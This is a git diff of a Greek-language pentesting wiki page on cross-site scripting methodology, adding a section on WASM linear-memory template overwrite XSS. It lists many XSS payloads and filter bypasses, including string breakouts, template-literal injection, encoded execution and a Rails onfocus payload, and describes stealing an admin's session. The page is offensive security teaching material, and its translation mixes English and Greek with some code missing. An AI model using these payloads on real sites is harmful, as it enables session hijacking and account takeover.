diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 5598697de..d25863c7c 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,81 +4,80 @@ ## Μεθοδολογία -1. Έλεγχος αν **οποιαδήποτε τιμή που ελέγχετε** (_parameters_, _path_, _headers_?, _cookies_?) **ανακλάται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. -2. **Βρείτε το πλαίσιο** όπου ανακλάται/χρησιμοποιείται. -3. If **reflected** -1. Check **which symbols can you use** and depending on that, prepare the payload: +1. Ελέγξτε αν **κάποια τιμή που ελέγχετε** (_parameters_, _path_, _headers_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από κώδικα **JS**. +2. **Βρείτε το πλαίσιο** όπου αντανακλάται/χρησιμοποιείται. +3. Αν **αντανακλάται** +1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα προετοιμάστε το payload: 1. Σε **raw HTML**: -1. Μπορείτε να δημιουργήσετε νέα HTML tags; -2. Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το πρωτόκολλο `javascript:`?; -3. Μπορείτε να παρακάμψετε τις προστασίες; -4. Ερμηνεύεται το HTML περιεχόμενο από κάποιο client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε ένα [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS κώδικα, θα μπορούσατε να εκμεταλλευτείτε ένα [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +1. Μπορείτε να δημιουργήσετε νέες HTML tags; +2. Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το πρωτόκολλο `javascript:`; +3. Μπορείτε να παρακάμψετε προστασίες; +4. Αν το HTML περιεχόμενο ερμηνεύεται από κάποιο client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), μπορείτε να εκμεταλλευτείτε ένα [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS, μπορείτε να εκμεταλλευτείτε ένα [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Μέσα σε ένα **HTML tag**: -1. Μπορείτε να εξέλθετε στο raw HTML context; +1. Μπορείτε να βγείτε στο raw HTML context; 2. Μπορείτε να δημιουργήσετε νέα events/attributes για να εκτελέσετε JS κώδικα; -3. Το attribute όπου βρίσκεστε υποστηρίζει εκτέλεση JS; -4. Μπορείτε να παρακάμψετε τις προστασίες; +3. Το attribute στο οποίο παγιδεύεστε υποστηρίζει εκτέλεση JS; +4. Μπορείτε να παρακάμψετε προστασίες; 3. Μέσα σε **JavaScript code**: 1. Μπορείτε να διαφύγετε από το ``** tags μιας HTML σελίδας, μέσα σε ένα `.js` αρχείο ή μέσα σε ένα attribute που χρησιμοποιεί το **`javascript:`** πρωτόκολλο: +Σε αυτή την περίπτωση η είσοδός σας αντανακλάται ανάμεσα στις ετικέτες **``** μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα attribute που χρησιμοποιεί το πρωτόκολλο **`javascript:`**: -- Αν αντανακλάται μεταξύ **``** tags, ακόμα κι αν το input σου είναι μέσα σε κάποιο είδος quotes, μπορείς να προσπαθήσεις να εγχύσεις `` και να ξεφύγεις από αυτό το context. Αυτό δουλεύει επειδή ο **browser θα πρώτα αναλύσει τα HTML tags** και μετά το περιεχόμενο, επομένως δεν θα αντιληφθεί ότι το εγχυμένο `` tag βρίσκεται μέσα στον HTML κώδικα. -- Αν αντανακλάται **μέσα σε JS string** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγεις** από το string, να **εκτελέσεις** τον κώδικά σου και να **ανακατασκευάσεις** τον JS κώδικα (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): +- Αν αντανακλάται ανάμεσα σε **``** ετικέτες, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιαδήποτε είδους εισαγωγικά, μπορείτε να προσπαθήσετε να εισαγάγετε `` και να ξεφύγετε από αυτό το context. Αυτό λειτουργεί επειδή **το πρόγραμμα περιήγησης πρώτα θα αναλύσει τις ετικέτες HTML** και μετά το περιεχόμενο, επομένως δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `` βρίσκεται μέσα στον HTML κώδικα. +- Αν αντανακλάται **μέσα σε JS string** και το προηγούμενο κόλπο δεν δουλεύει, θα χρειαστεί να **βγείτε** από το string, να **εκτελέσετε** τον κώδικά σας και να **αναδομήσετε** τον JS κώδικα (αν υπάρχει οποιοδήποτε σφάλμα, δεν θα εκτελεστεί: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Αν αντανακλάται μέσα σε template literals μπορείς να **ενσωματώσεις JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- Η **κωδικοποίηση Unicode** λειτουργεί για να γράψεις **έγκυρο javascript code**: +- Αν αντανακλάται μέσα σε template literals μπορείτε να **ενσωματώσετε JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- Η **Unicode encode** λειτουργεί για να γράψετε **valid javascript code**: ```javascript alert(1) alert(1) @@ -86,29 +85,29 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσεις συναρτήσεις, μεταβλητές ή κλάσεις αφού έχουν χρησιμοποιηθεί, ώστε να μπορείς να εκμεταλλευτείς σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\ -**Δες την παρακάτω σελίδα για περισσότερες πληροφορίες:** +Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσετε functions, variables ή classes αφού έχουν χρησιμοποιηθεί, έτσι ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή functions.**\ +**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:** {{#ref}} js-hoisting.md {{#endref}} -### Συνάρτηση Javascript +### Javascript Function -Πολλές ιστοσελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα συνηθισμένο παράδειγμα που θα δεις σε πραγματικά συστήματα είναι κάτι σαν: `?callback=callbackFunc`. +Πολλές σελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που βλέπεται στο wild είναι κάτι σαν: `?callback=callbackFunc`. -Ένας καλός τρόπος για να διαπιστώσεις αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να **τροποποιήσεις την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξεις στην κονσόλα για σφάλματα όπως: +Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην console για σφάλματα όπως: ![](<../../images/image (711).png>) -Σε περίπτωση που είναι ευάλωτο, θα μπορούσες να **προκαλέσεις ένα alert** απλώς στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επαληθεύουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscore (**`[\w\._]`**). +Σε περίπτωση που είναι ευάλωτο, μπορεί να καταφέρετε να **προκαλέσετε ένα alert** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επαληθεύουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscores (**`[\w\._]`**). -Παρόλα αυτά, ακόμα και με αυτόν τον περιορισμό είναι εφικτό να εκτελέσεις κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσεις οποιοδήποτε στοιχείο στο DOM**: +Ωστόσο, ακόμα και με αυτόν τον περιορισμό είναι δυνατή η εκτέλεση ορισμένων ενεργειών. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσετε οποιοδήποτε στοιχείο στο DOM**: ![](<../../images/image (747).png>) -Κάποιες χρήσιμες συναρτήσεις για αυτό: +Μερικές χρήσιμες συναρτήσεις για αυτό: ``` firstElementChild lastElementChild @@ -116,11 +115,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Μπορείτε επίσης να δοκιμάσετε να **trigger Javascript functions** απευθείας: `obj.sales.delOrders`. +You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. -Ωστόσο, συνήθως τα endpoints που εκτελούν την ενδεικνυόμενη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **other pages in the same origin** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες. +However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **άλλες σελίδες στο ίδιο same origin** will have a **more interesting DOM** to perform more actions. -Επομένως, για να **abuse this vulnerability in a different DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**: +Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {{#ref}} @@ -129,7 +128,7 @@ some-same-origin-method-execution.md ### DOM -Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος θα μπορούσε να το κακοποιήσει αυτό για να εκτελέσει αυθαίρετο JS code. +There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . Ένας attacker, could abuse this to execute arbitrary JS code. {{#ref}} @@ -138,7 +137,7 @@ dom-xss.md ### **Universal XSS** -Αυτού του είδους τα XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του client μιας web εφαρμογής αλλά από **οποιοδήποτε** **context**. Αυτού του τύπου η **arbitrary JavaScript execution** μπορεί ακόμη να χρησιμοποιηθεί για απόκτηση **RCE**, ανάγνωση **arbitrary** **files** σε clients και servers, και άλλα.\ +These kind of XSS can be found **οπουδήποτε**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ Κάποια **παραδείγματα**: @@ -157,11 +156,11 @@ server-side-xss-dynamic-pdf.md ## Injecting inside raw HTML -Όταν η είσοδός σας αντανακλάται **inside the HTML page** ή μπορείτε να διαφύγετε και να εγχύσετε HTML code σε αυτό το context, το **πρώτο** που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να κακοποιήσετε το `<` για να δημιουργήσετε νέα tags: Απλώς προσπαθήστε να **reflect** αυτό το **char** και ελέγξτε αν γίνεται **HTML encoded** ή **διαγράφεται** ή αν **αποτυπώνεται χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτό το σενάριο**.\ -Για αυτές τις περιπτώσεις επίσης **έχετε υπόψη** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***_ +When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ +For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Σημείωση: Ένα HTML comment μπορεί να κλείσει χρησιμοποιώντας**`-->`**ή **`--!>`**_ -Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται black/whitelisting, μπορείτε να χρησιμοποιήσετε payloads όπως: +In this case and if no black/whitelisting is used, you could use payloads like: ```html ` tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS code ή σε attributes που αποδέχονται το πρωτόκολλο `javascript:`. +Σε αυτές τις περιπτώσεις το **input** σας θα **αντανακλάται μέσα στον JS κώδικα** ενός `.js` αρχείου ή μεταξύ των `` tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS κώδικα ή ανάμεσα σε attributes που δέχονται το πρωτόκολλο `javascript:`. ### Escaping \` μπορείτε εύκολα να **"ξεφύγετε" κλείνοντας το `` μπορείτε εύκολα να **ξεφύγετε κλείνοντας το ` ``` -Σημείωσε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το μονό εισαγωγικό**. Αυτό συμβαίνει επειδή **HTML parsing is performed first by the browser**, το οποίο περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση του JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα scripts γίνεται μόνο αργότερα. +Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το απλό απόστροφο**. Αυτό συμβαίνει επειδή η **HTML parsing εκτελείται πρώτα από το πρόγραμμα περιήγησης**, το οποίο περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση της JavaScript για να κατανοηθούν και να εκτελεστούν τα ενσωματωμένα scripts γίνεται μόνο στη συνέχεια. ### Μέσα στον κώδικα JS -Αν τα `<>` φιλτράρονται μπορείς ακόμα να **ξεφύγεις από τη συμβολοσειρά** όπου βρίσκεται η είσοδός σου και να **εκτελέσεις αυθαίρετο JS**. Είναι σημαντικό να **διορθώσεις τη σύνταξη του JS**, γιατί αν υπάρχουν σφαλμάτα, ο κώδικας JS δεν θα εκτελεστεί: +Αν τα `<>` φιλτράρονται, μπορείτε ακόμα να **escape the string** στο σημείο όπου η είσοδός σας **βρίσκεται** και να **execute arbitrary JS**. Είναι σημαντικό να **fix JS syntax**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -495,25 +498,25 @@ This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of ``` #### JS-in-JS string break → inject → repair pattern -Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα παραθεματισμένο JavaScript string (π.χ., server-side echo σε ένα inline script), μπορείτε να τερματίσετε το string, να inject code και να επιδιορθώσετε το συντακτικό ώστε το parsing να παραμείνει έγκυρο. Γενικός σκελετός: +Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα quoted JavaScript string (π.χ., server-side echo μέσα σε ένα inline script), μπορείτε να τερματίσετε τη συμβολοσειρά, να εισάγετε κώδικα και να επιδιορθώσετε τη σύνταξη ώστε η ανάλυση να παραμείνει έγκυρη. Γενικός σκελετός: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -Παράδειγμα μοτίβου URL όταν η ευάλωτη παράμετρος ανακλάται σε μια JS συμβολοσειρά: +Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντικατοπτρίζεται σε συμβολοσειρά JS: ``` ?param=test";;a=" ``` -Αυτό εκτελεί attacker JS χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε με blacklist bypasses παρακάτω όταν τα φίλτρα μπλοκάρουν keywords. +Αυτό εκτελεί τον JS του επιτιθέμενου χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε με blacklist bypasses παρακάτω όταν φίλτρα μπλοκάρουν keywords. ### Template literals `` -Για να κατασκευάσετε **strings**, εκτός από single και double quotes, το JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals, καθώς επιτρέπουν **embedded JS expressions** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ -Επομένως, αν δείτε ότι το input σας είναι **reflected** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**: +Για να κατασκευάσετε **strings**, πέρα από τα μονά και διπλά quotes, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση JS εκφράσεων** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ +Επομένως, αν βρείτε ότι η είσοδός σας αντανακλάται μέσα σε ένα JS string που χρησιμοποιεί backticks, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**: -Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας: +Αυτό μπορεί να **καταχραστεί** χρησιμοποιώντας: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -525,7 +528,7 @@ return loop } loop`` ``` -### Εκτέλεση κωδικοποιημένου code +### Κωδικοποιημένη εκτέλεση κώδικα ```html ``` -**Javascript μέσα σε ένα σχόλιο** +**Javascript μέσα σε σχόλιο** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -714,7 +717,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Κλήση αυθαίρετης συνάρτησης (alert)** +**Αυθαίρετη κλήση συνάρτησης (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -776,61 +779,73 @@ top[8680439..toString(30)](1) ``` ## **DOM vulnerabilities** -Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα ελεγχόμενα από έναν attacker** όπως `location.href`. Ένας attacker μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει arbitrary JS code. -**Λόγω της εκτενούς εξήγησης των** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** +Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος μπορεί να το καταχραστεί για να εκτελέσει αυθαίρετο JS code.\ +**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** + {{#ref}} dom-xss.md {{#endref}} -Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**. -Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε εξήγηση για [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). +Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\ +Επίσης, μην ξεχάσετε ότι **στο τέλος του αναφερόμενου post** μπορείτε να βρείτε μια εξήγηση για τους [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Αναβάθμιση Self-XSS +### Upgrading Self-XSS ### Cookie XSS -Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα **vulnerable subdomain to XSS**, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι vulnerable σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε το cookie tossing attack: +Αν μπορείτε να ενεργοποιήσετε ένα XSS στέλνοντας το payload μέσα σε cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα ευάλωτο subdomain σε XSS, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain και να καταφέρετε να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Μπορείτε να βρείτε ένα εξαιρετικό παράδειγμα κατάχρησης αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Μπορείτε να βρείτε μια εξαιρετική κατάχρηση αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Sending your session to the admin -Ίσως ένας χρήστης να μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια. +Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το επισκεφθεί, θα ενεργοποιήσει την ευπάθεια. ### Session Mirroring -Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους clients να ζητήσουν βοήθεια και ώστε ο admin να σας βοηθήσει, αυτός θα βλέπει ό,τι βλέπετε στη session σας αλλά από τη δική του session. +Αν βρείτε κάποιο self XSS και η σελίδα παρέχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους πελάτες να ζητήσουν βοήθεια και έτσι ώστε ο admin για να σας βοηθήσει να βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία. -Μπορείτε να κάνετε τον **administrator να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/session του. +Μπορείτε να κάνετε τον **administrator να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/τη συνεδρία του. + +## Άλλες Παράκαμψεις + +### Bypassing sanitization via WASM linear-memory template overwrite + +Όταν μια web εφαρμογή χρησιμοποιεί Emscripten/WASM, constant strings (όπως HTML format stubs) βρίσκονται σε εγγράψιμη linear memory. Μια μοναδική in‑WASM overflow (π.χ. unchecked memcpy σε μονοπάτι επεξεργασίας) μπορεί να καταστρέψει γειτονικές δομές και να ανακατευθύνει εγγραφές σε αυτές τις σταθερές. Επικαλύπτοντας ένα template όπως "

%.*s

" με "" μετατρέπει το εξυγιασμένο input σε τιμή JavaScript handler και παράγει άμεσο DOM XSS κατά την απόδοση. + +Δείτε την αφιερωμένη σελίδα με το exploitation workflow, DevTools memory helpers, και τις άμυνες: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} -## Άλλες Παρακάμψεις ### Normalised Unicode -Μπορείτε να ελέγξετε αν οι **reflected values** υποβάλλονται σε **unicode normalized** στον server (ή στο client side) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). +Μπορείτε να ελέγξετε αν οι **reflected values** υφίστανται **unicode normalized** στον server (ή στην πλευρά του client) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` -### Ruby-On-Rails παράκαμψη +### Ruby-On-Rails bypass -Λόγω του **RoR mass assignment** εισάγονται εισαγωγικά στο HTML και έτσι ο περιορισμός των εισαγωγικών παρακάμπτεται και επιπλέον πεδία (onfocus) μπορούν να προστεθούν μέσα στο tag.\ -Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλεις το payload: +Εξαιτίας του **RoR mass assignment** εισάγονται εισαγωγικά στο HTML και έτσι ο περιορισμός των εισαγωγικών παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στο tag.\ +Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), εάν στείλετε το payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Το ζεύγος "Key","Value" θα εμφανιστεί ως εξής: +Το ζεύγος "Key","Value" θα εμφανιστεί έτσι: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Τότε, θα εισαχθεί το χαρακτηριστικό onfocus και θα προκληθεί XSS. +Στη συνέχεια, το χαρακτηριστικό onfocus θα εισαχθεί και θα προκύψει XSS. ### Ειδικοί συνδυασμοί ```html @@ -862,24 +877,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS με header injection σε απάντηση 302 +### XSS with header injection in a 302 response -Αν διαπιστώσετε ότι μπορείτε να **inject headers σε μια 302 Redirect response** μπορείτε να προσπαθήσετε να **κάνετε το browser να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο. +If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. Αυτό δεν είναι **trivial** καθώς τα σύγχρονα browsers δεν ερμηνεύουν το σώμα της HTTP response εάν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο. -Στα [**this report**](https://www.gremwell.com/firefox-xss-302) και [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς να δοκιμάσετε διάφορα πρωτόκολλα μέσα στο Location header και να δείτε αν κάποιο από αυτά επιτρέπει στο browser να ελέγξει και να εκτελέσει το XSS payload μέσα στο body.\ +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### Only Letters, Numbers and Dots +### Μόνο γράμματα, αριθμοί και τελείες -Αν μπορείτε να ορίσετε το **callback** που πρόκειται να εκτελέσει η javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Read this section of this post**](#javascript-function) για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά. +If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour. ### Valid ` @@ -982,11 +997,11 @@ import { partition } from "lodash" ``` ### Ειδικά Πρότυπα Αντικατάστασης -Όταν χρησιμοποιείται κάτι σαν **`"some {{template}} data".replace("{{template}}", )`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", )`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Για παράδειγμα, στο [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **scape a JSON string** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα. +Για παράδειγμα στο [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **scape a JSON string** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα. -### Chrome Cache to XSS +### Chrome Cache σε XSS {{#ref}} @@ -995,7 +1010,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων προς χρήση, έλεγξε αυτές τις άλλες 